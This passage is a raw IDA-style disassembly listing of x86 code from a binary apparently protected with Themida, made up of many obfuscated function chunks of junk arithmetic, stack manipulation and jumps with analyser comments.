; FUNCTION CHUNK AT 0059F17D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F353 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A0ADB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2482 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2FA3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A300A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A3F83 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A463D SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_5963A1
sub_591FC5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_591FD0: ; CODE XREF: sub_59390B+81A5j
pop ecx
sub al, bh
pop ebx
pop ebx
jmp loc_59EE7F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B8C7
loc_591FDA: ; CODE XREF: sub_59B8C7+1j
mov ebp, esp
jmp loc_5A3ADC
; END OF FUNCTION CHUNK FOR sub_59B8C7
; =============== S U B R O U T I N E =======================================
sub_591FE1 proc near ; CODE XREF: sub_5A12B1-A2Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005936B8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005936DF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00593852 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005938BF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005938E9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00594A5F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594FBA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595B5E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00595CE2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059685F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059798E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00598283 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599137 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059BB69 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C3A8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D856 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E304 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E3B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E6F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E953 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A14A1 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A17A3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1CD7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1FEE SIZE 00000008 BYTES
push ebp
jmp loc_595B5E
sub_591FE1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_591FE7: ; CODE XREF: Themida_:00593419j
add esp, 2
push ecx
push edx
push 3A5Eh
jmp loc_5A4F2E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597C8E
loc_591FF6: ; CODE XREF: sub_597C8E+Ej
xor ecx, ebp
pop ebp
sub ebp, ecx
pop ecx
jmp loc_5A2F8E
; END OF FUNCTION CHUNK FOR sub_597C8E
; ---------------------------------------------------------------------------
loc_592001: ; CODE XREF: Themida_:0059BC8Fj
or bh, ah
pop eax
neg bh
sub bh, 1
neg bh
jmp loc_59F600
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_592010: ; CODE XREF: sub_59654E+5220j
dec esi
jmp loc_59F081
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
loc_592016: ; CODE XREF: Themida_:005A3852j
add ebx, edx
pop edx
add ebx, 2
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_592E4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592032: ; CODE XREF: sub_59390B-FBFj
add esi, 1278303Ah
pop ecx
push ecx
mov ecx, 4
sub esi, 1A6518F7h
add esi, ecx
add esi, 1A6518F7h
pop ecx
xchg esi, [esp-18h+arg_10]
jmp loc_594EE9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592056: ; CODE XREF: Themida_:005A3FA2j
mov eax, esp
add eax, 4
push edx
sub esp, 4
jmp loc_5A1F57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592069: ; CODE XREF: sub_59390B+D479j
mov [esp-18h+arg_10], edi
push 6B4Fh
mov [esp-14h+arg_C], esp
sub esp, 4
mov [esp-10h+arg_8], ecx
mov ecx, 4
jmp loc_597F54
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_592087: ; CODE XREF: sub_5A4CDD-68DCj
mov ebx, 4
jmp loc_5966D9
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_592091: ; CODE XREF: Themida_:0059C65Bj
pop esp
pop ecx
mov [edx], bl
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_59D3AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5920A9: ; CODE XREF: sub_59390B+117BCj
add esp, 4
xor esi, [esp-14h+arg_C]
xor [esp-14h+arg_C], esi
xor esi, [esp-14h+arg_C]
mov esp, [esp-14h+arg_C]
imul cl
movzx cx, ah
push small 1BC0h
mov word ptr [esp-12h+arg_8+2], cx
movzx cx, al
push cx
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5920D5: ; CODE XREF: Themida_:0059D62Ej
sub dl, 98h
mov bl, dl
pop edx
mov al, bl
pop ebx
sub al, 3Ah
sub bl, 0B9h
push ecx
jmp loc_5A2DAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5920E9: ; CODE XREF: sub_59390B+7B12j
sub esi, 5EDB3F25h
jmp loc_59B498
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5920F4: ; CODE XREF: Themida_:00594451j
shr edx, 8
sub edx, 7E307197h
sub edx, 81EF9ED1h
add ebp, edx
jmp loc_590B45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59210A: ; CODE XREF: sub_59390B+5984j
mov [esp-0Ch+arg_4], ecx
mov ch, 0C8h
shr ch, 5
sub ch, 73h
sub ch, 1
and ch, 0BEh
xor ch, 10h
mov dl, ch
jmp loc_5A46AB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_592125: ; CODE XREF: sub_595949+8AE7j
mov ebx, [esp+4+var_4]
add esp, 4
push esi
push edi
jmp loc_59FFA7
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
loc_592132: ; CODE XREF: Themida_:0059A63Dj
pop eax
dec eax
not eax
xor eax, 4D5A13F6h
add ebx, eax
mov eax, [esp]
add esp, 4
sub edx, 0FBF314Eh
sub edx, 6075306Eh
push esi
jmp loc_5A4B98
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_592155: ; CODE XREF: sub_59FD45-7C70j
mov esi, [esp+0]
push ebx
jmp loc_59FC5B
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_59215E: ; CODE XREF: Themida_:0059E9EAj
xchg eax, [esp]
not eax
xchg eax, [esp]
jmp loc_594C5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59216B: ; CODE XREF: sub_59390B+BEj
add ebx, 4
sub ebx, 4
xchg ebx, [esp-0Ch+arg_4]
pop esp
mov [esp-10h+arg_8], esi
mov esi, 4
add edi, 6D1C5526h
add edi, 2F071853h
add edi, esi
jmp loc_5A21C1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_592196: ; CODE XREF: sub_591FC5+B763j
add cl, dh
push [esp+0Ah+var_C+2]
mov edx, [esp]
add esp, 4
add esp, 4
inc cl
push ebx
push edx
push ecx
mov cl, 0CCh
mov dh, cl
pop ecx
mov bl, 0Dh
xor bl, dh
jmp loc_5A300A
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
loc_5921BD: ; CODE XREF: Themida_:00592224j
pop edx
xor ah, 58h
add dh, 0A5h
add dh, ah
sub dh, 0A5h
pop eax
sub al, dh
push dword ptr [esp]
pop edx
jmp loc_59B6E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_5921D5: ; CODE XREF: sub_59333E+174Aj
add eax, 675B2CD0h
xor eax, 7F7F1E36h
jmp loc_595095
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5921E4: ; CODE XREF: sub_59FCCB-4CC5j
xchg edx, [esp+6+var_8+2]
jmp loc_596C22
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_5921EC: ; CODE XREF: sub_5A3F6E-22E4j
mov [esp-4+arg_0], eax
jmp loc_5A58AC
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
loc_5921F4: ; CODE XREF: Themida_:005A2D2Dj
mov edx, 46913200h
jmp loc_59CA1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5921FE: ; CODE XREF: sub_59390B+8A91j
sub esi, ebx
mov ebx, [esp-10h+arg_8]
add esp, 4
jmp loc_59B502
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59220B: ; CODE XREF: Themida_:00597337j
add ebx, edi
jmp loc_59B5E7
; ---------------------------------------------------------------------------
loc_592212: ; CODE XREF: Themida_:00595A31j
push 274h
mov [esp], edx
mov dh, 0FBh
sub ah, 0F8h
add ah, dh
add ah, 0F8h
jmp loc_5921BD
; ---------------------------------------------------------------------------
loc_592229: ; CODE XREF: Themida_:0059AC06j
mov [esp], edx
mov edx, esp
add edx, 4
push esi
mov esi, 2
sub edx, 1E5C0D72h
add edx, esi
add edx, 1E5C0D72h
mov esi, [esp]
push ebp
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_5A153B
; ---------------------------------------------------------------------------
loc_592266: ; CODE XREF: Themida_:0059B658j
sub ebp, 4
jmp loc_592807
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59226E: ; CODE XREF: sub_59390B+6D72j
shr esi, 6
jmp loc_5A4670
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592276: ; CODE XREF: Themida_:005A522Cj
sub dl, 1
jmp loc_5A490D
; ---------------------------------------------------------------------------
loc_59227E: ; CODE XREF: Themida_:005A51B8j
add esp, 4
push esi
mov esi, esp
add esi, 4
jmp loc_5A4632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A16B7
loc_592292: ; CODE XREF: sub_5A16B7-E5D9j
push edx
mov ebp, [esp+4+var_4]
jmp sub_59DC9E
; END OF FUNCTION CHUNK FOR sub_5A16B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59229B: ; CODE XREF: sub_59390B+969Fj
xor ebx, ecx
jmp loc_5A0B07
; ---------------------------------------------------------------------------
loc_5922A2: ; CODE XREF: sub_59390B+2C5j
sub ebp, ecx
pop ecx
pop edi
add ebp, 2
xchg ebp, [esp-1Ch+arg_14]
mov esp, [esp-1Ch+arg_14]
sar byte ptr [esp-1Ch+arg_14], cl
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5922BB: ; CODE XREF: Themida_:00595173j
mov ch, 0EFh
jmp loc_59F3CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F5C8
loc_5922C2: ; CODE XREF: sub_59F5C8-3F3Ej
push small 0
sub [esp+2+var_2], dl
mov dl, [esp+2+var_2]
push edx
push esp
pop edx
add edx, 4
add edx, 2
xor edx, [esp+6+var_6]
xor [esp+6+var_6], edx
xor edx, [esp+6+var_6]
pop esp
jmp loc_5936D8
; END OF FUNCTION CHUNK FOR sub_59F5C8
; ---------------------------------------------------------------------------
loc_5922E7: ; CODE XREF: Themida_:00597D63j
mov [esp], ebp
mov ebp, esp
jmp loc_59AA81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5922F1: ; CODE XREF: sub_59390B+9A03j
mov [esp-18h+arg_10], eax
push 43F9157Ch
pop eax
jmp loc_597B2C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B8D
loc_5922FF: ; CODE XREF: sub_590B8D+68BBj
sub eax, edx
sub eax, 2A5933ACh
sub eax, 12175C5Ah
pop edx
push 79D3h
mov [esp+0], esi
mov esi, 100h
and eax, esi
push dword ptr [esp+0]
pop esi
push ebp
jmp loc_591BB3
; END OF FUNCTION CHUNK FOR sub_590B8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592325: ; CODE XREF: sub_59390B+10800j
pop cx
jmp loc_59D535
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59232C: ; CODE XREF: Themida_:005A482Fj
xchg edi, [esp]
pop esp
add ebp, 4
push ebx
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edx
jmp loc_5A23CF
; ---------------------------------------------------------------------------
loc_59235E: ; CODE XREF: Themida_:005A22D3j
mov edx, [esp]
add esp, 4
add esp, 4
add esp, 4
sub esp, 4
jmp loc_590DCD
; ---------------------------------------------------------------------------
loc_592375: ; CODE XREF: Themida_:00591A67j
xchg ecx, [esp]
pop esp
push ebp
push 3BD37599h
jmp loc_598470
; ---------------------------------------------------------------------------
loc_592384: ; CODE XREF: Themida_:0059BC6Ej
mov [esp], eax
push edi
push esi
mov esi, 17487585h
mov edi, esi
pop esi
push edi
push 23B231F6h
mov edi, [esp]
add esp, 4
shl edi, 8
jmp loc_5988A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5923A5: ; CODE XREF: sub_59390B+C498j
dec esi
jmp loc_598439
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5923AB: ; CODE XREF: sub_5A17BF-5020j
mov esi, 38924ECBh
jmp loc_59C84C
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5923B5: ; CODE XREF: sub_59390B+11B36j
mov [esp-1Ah+arg_10+2], esi
jmp loc_5A0897
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E1C
loc_5923BD: ; CODE XREF: sub_592E1C+C87Aj
mov ebp, 4
add eax, ebp
jmp loc_5A2F2E
; END OF FUNCTION CHUNK FOR sub_592E1C
; ---------------------------------------------------------------------------
loc_5923C9: ; CODE XREF: Themida_:005A13F8j
sub dword ptr [esp], 5C495D2Dh
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5923D5: ; CODE XREF: Themida_:00596EF7j
push edi
mov edi, esp
add edi, 4
jmp loc_5A0452
; ---------------------------------------------------------------------------
loc_5923E3: ; CODE XREF: Themida_:005A317Ej
push dword ptr [esp]
jmp loc_597688
; ---------------------------------------------------------------------------
loc_5923EB: ; CODE XREF: Themida_:0059CB4Cj
neg ebp
add ebp, 5E0549ABh
add ebp, 0A565737h
sub eax, ebp
pop ebp
add eax, 41405C2h
sub eax, esi
sub eax, 41405C2h
push ecx
mov ecx, 526C7B3Bh
sub ecx, 13D00F40h
or ecx, 4E5E199Fh
and ecx, 40EF2105h
dec ecx
add ecx, 0D3F6582Fh
add eax, ecx
pop ecx
sub eax, 1A4A1204h
jmp loc_59888B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A5219
loc_592434: ; CODE XREF: sub_5A5219+6j
xchg edx, [esp+4+var_4]
pop ebp
jmp loc_595B58
; END OF FUNCTION CHUNK FOR sub_5A5219
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59243D: ; CODE XREF: sub_59390B+85F9j
mov ecx, 1EDA24EEh
shl ecx, 5
sub ecx, 93383A44h
sub ebx, ecx
pop ecx
jmp loc_594766
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592453: ; CODE XREF: Themida_:00592AA7j
mov ecx, esp
add ecx, 4
sub esp, 4
jmp loc_59588D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592466: ; CODE XREF: sub_59390B+10E07j
push [esp-1Eh+arg_14+2]
push [esp-1Ah+arg_10+2]
jmp loc_5A4E27
; ---------------------------------------------------------------------------
loc_592471: ; CODE XREF: sub_59390B+5F4j
pop ebp
push 2EBEh
mov [esp-16h+arg_C+2], eax
mov eax, 4
sub ecx, 5C100477h
add ecx, eax
add ecx, 5C100477h
mov eax, [esp-16h+arg_C+2]
push ecx
mov ecx, esp
jmp loc_59893C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_592498: ; CODE XREF: Themida_:00590D32j
pop esp
mov [esp], eax
push 659Bh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_593118
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5924AD: ; CODE XREF: sub_59390B+A8BDj
inc dl
jmp loc_59A46E
; ---------------------------------------------------------------------------
loc_5924B4: ; CODE XREF: sub_59390B-1D67j
add edi, edx
add edi, 51EF6E66h
pop edx
xchg edi, [esp-18h+arg_10]
mov esp, [esp-18h+arg_10]
shl eax, cl
push 7FF2h
mov [esp-14h+arg_C], ebp
mov ebp, 232237DBh
or ebp, 13AC6381h
add ebp, 1
push ecx
mov ecx, esp
push 6EE8h
mov [esp-0Ch+arg_4], ebp
mov ebp, 2AC2AD3h
jmp loc_599D15
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5924F0: ; CODE XREF: Themida_:005A3D65j
add edx, 4
jmp loc_59B4B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59AB43
loc_5924F8: ; CODE XREF: sub_59AB43+278Fj
add ecx, 4
jmp loc_598FE0
; END OF FUNCTION CHUNK FOR sub_59AB43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_592503: ; CODE XREF: sub_5936EC+F63Bj
push dword ptr [esp+0]
push [esp+4+var_4]
pop ebx
add esp, 4
jmp loc_592753
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_592515: ; CODE XREF: Themida_:0059DCEAj
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
mov edx, 7C0013A8h
push eax
mov eax, 6C4B4B0Ah
jmp loc_5A1452
; ---------------------------------------------------------------------------
loc_592537: ; CODE XREF: Themida_:00597569j
push 2200h
mov [esp], ecx
mov ecx, 566A3E24h
sub esp, 4
jmp loc_593638
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4F4F
loc_59254C: ; CODE XREF: sub_5A4F4F-1434Fj
sub ebx, 37D7C4Eh
pop ebp
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
mov esp, [esp+0]
jmp loc_59195D
; END OF FUNCTION CHUNK FOR sub_5A4F4F
; ---------------------------------------------------------------------------
loc_592564: ; CODE XREF: Themida_:0059A41Aj
mov [esp], eax
mov al, 59h
dec al
jmp loc_5A4D36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E93C
loc_592570: ; CODE XREF: sub_59E93C+A54j
push eax
mov eax, 1F933238h
inc eax
add eax, 47200E8Dh
add eax, 0D951DF4Fh
jmp loc_59136E
; END OF FUNCTION CHUNK FOR sub_59E93C
; =============== S U B R O U T I N E =======================================
sub_592586 proc near ; CODE XREF: sub_59390B+1008Fj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005950B6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596761 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005989DA SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059AF5E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059CC2F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059FD50 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0A97 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005A15B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A44D0 SIZE 0000000A BYTES
push ebx
jmp loc_5989DA
sub_592586 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_59258C: ; CODE XREF: Themida_:00596A58j
mov ebp, esp
push edx
push eax
mov eax, 106E313Bh
mov edx, 6A78D91Fh
add edx, eax
mov eax, [esp]
jmp loc_59933B
; ---------------------------------------------------------------------------
loc_5925A4: ; CODE XREF: Themida_:0059BF3Fj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push 1343h
mov [esp], edx
push 491h
push 526Bh
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_59615F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5925D5: ; CODE XREF: sub_59390B+4C8Cj
shr eax, 7
or eax, 5B276155h
sub eax, 55AE0A81h
mov edi, eax
jmp loc_5A5278
; ---------------------------------------------------------------------------
loc_5925E9: ; CODE XREF: sub_59390B+C058j
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5925EE: ; CODE XREF: sub_59390B+B963j
pop esp
xchg ebp, [esp-10h+arg_8]
mov esp, [esp-10h+arg_8]
mov word ptr [esp-10h+arg_8], ax
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5925FE: ; CODE XREF: Themida_:0059CADFj
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push 6292h
mov [esp], edx
push 4
jmp loc_5A2576
; ---------------------------------------------------------------------------
loc_59261F: ; CODE XREF: Themida_:0059D969j
pop edi
xor edi, eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_59C50B
; ---------------------------------------------------------------------------
loc_592633: ; CODE XREF: Themida_:005928A8j
push dword ptr [esp]
jmp loc_59C3ED
; ---------------------------------------------------------------------------
loc_59263B: ; CODE XREF: Themida_:0059C485j
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_592ED3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A958
loc_592648: ; CODE XREF: sub_59A958+1j
mov ebx, 0E7A4A52h
and ebx, 5CF80776h
and ebx, 70CB4C03h
shr ebx, 2
xor ebx, 1C52010Ch
jmp loc_596072
; END OF FUNCTION CHUNK FOR sub_59A958
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2801
loc_592667: ; CODE XREF: sub_5A2801-A23Cj
sub edx, 580942ECh
sub edx, 272042E4h
pop ecx
xchg edx, [esp+8+var_8]
pop esp
add edi, 4
add edi, 2
xchg edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
btr word ptr [esp-4+arg_0], ax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_5A2801
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E25
loc_592692: ; CODE XREF: sub_592E25+8j
pop ebx
jmp loc_59420D
; END OF FUNCTION CHUNK FOR sub_592E25
; ---------------------------------------------------------------------------
loc_592698: ; CODE XREF: Themida_:0059E9F4j
mov edx, esi
jmp loc_59B245
; ---------------------------------------------------------------------------
loc_59269F: ; CODE XREF: Themida_:00595471j
pop esp
mov ax, [esp]
push ecx
jmp loc_597A1D
; ---------------------------------------------------------------------------
loc_5926AA: ; CODE XREF: Themida_:0059B952j
add [esp+4], edi
push ecx
jmp loc_594FC2
; ---------------------------------------------------------------------------
loc_5926B4: ; CODE XREF: Themida_:005A1D85j
add ebp, 0DB0DC112h
sub ebx, ebp
pop ebp
push esi
mov esi, 6B8A1135h
sub eax, esi
jmp loc_590D73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5926CA: ; CODE XREF: sub_59390B+112F3j
pop ebp
jmp loc_5A4755
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_5926D0: ; CODE XREF: sub_5A2FE9-FD3Aj
xor ebx, esi
pop esi
add esi, ebx
jmp loc_5A599F
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5926DA: ; CODE XREF: sub_59CFD4-7EFAj
mov esi, 3C384728h
add eax, 2DBA5A7Ah
add eax, esi
jmp loc_59E3DD
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_5926EB: ; CODE XREF: Themida_:00597B41j
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5926F0: ; CODE XREF: sub_59390B+DB03j
mov eax, 1BBF499Ah
sub eax, 1BBF4996h
jmp loc_599F8A
; ---------------------------------------------------------------------------
loc_5926FF: ; CODE XREF: sub_59390B+360Dj
mov [esp-14h+arg_C], edx
push [esp-14h+arg_10]
mov edx, [esp-10h+arg_8]
jmp loc_593A12
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59270E: ; CODE XREF: Themida_:0059BEC5j
xchg bh, [esp+1]
pop dx
shr dh, 5
shr dh, 7
not dh
jmp loc_59D1EC
; ---------------------------------------------------------------------------
loc_592721: ; DATA XREF: Themida_:005909E0o
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5933BB
loc_592726: ; CODE XREF: sub_5933BB+1j
mov ebx, 1C000AB6h
sub ebx, 317668F3h
jmp loc_598F50
; END OF FUNCTION CHUNK FOR sub_5933BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_592736: ; CODE XREF: sub_59FCCB-D093j
not dl
push eax
mov ah, 0A6h
jmp loc_59D186
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_592740: ; CODE XREF: sub_59CFD4+40CCj
neg ecx
add ecx, 3F702BC3h
add ecx, 7F1A463Fh
jmp loc_597C32
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_592753: ; CODE XREF: sub_5936EC-11DCj
push esi
push esp
pop esi
push ebp
mov ebp, 45D85D69h
sub ebp, 45D85D65h
add esi, ebp
mov ebp, [esp+8+var_8]
jmp loc_59E0C9
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_59276C: ; CODE XREF: sub_59654E+76B9j
add esp, 4
push eax
jmp loc_5A147E
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_592775: ; CODE XREF: sub_59390B-815j
push edi
jmp loc_59283A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59277B: ; CODE XREF: Themida_:0059E1F0j
add edx, eax
pop eax
push ebp
push edx
jmp loc_591885
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C8A4
loc_592785: ; CODE XREF: sub_59C8A4+76Bj
add ebp, 0FFFFFFFFh
jmp loc_596225
; END OF FUNCTION CHUNK FOR sub_59C8A4
; ---------------------------------------------------------------------------
loc_592790: ; CODE XREF: Themida_:005A26F3j
dec eax
push ebp
mov ebp, 734C6155h
xor eax, ebp
pop ebp
jmp loc_59444B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_59279F: ; CODE XREF: sub_59A75E+1663j
sub ax, di
pop edi
jmp loc_5A4D07
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
loc_5927A8: ; CODE XREF: Themida_:005A3321j
push bx
mov bh, 0D9h
jmp loc_59D90A
; ---------------------------------------------------------------------------
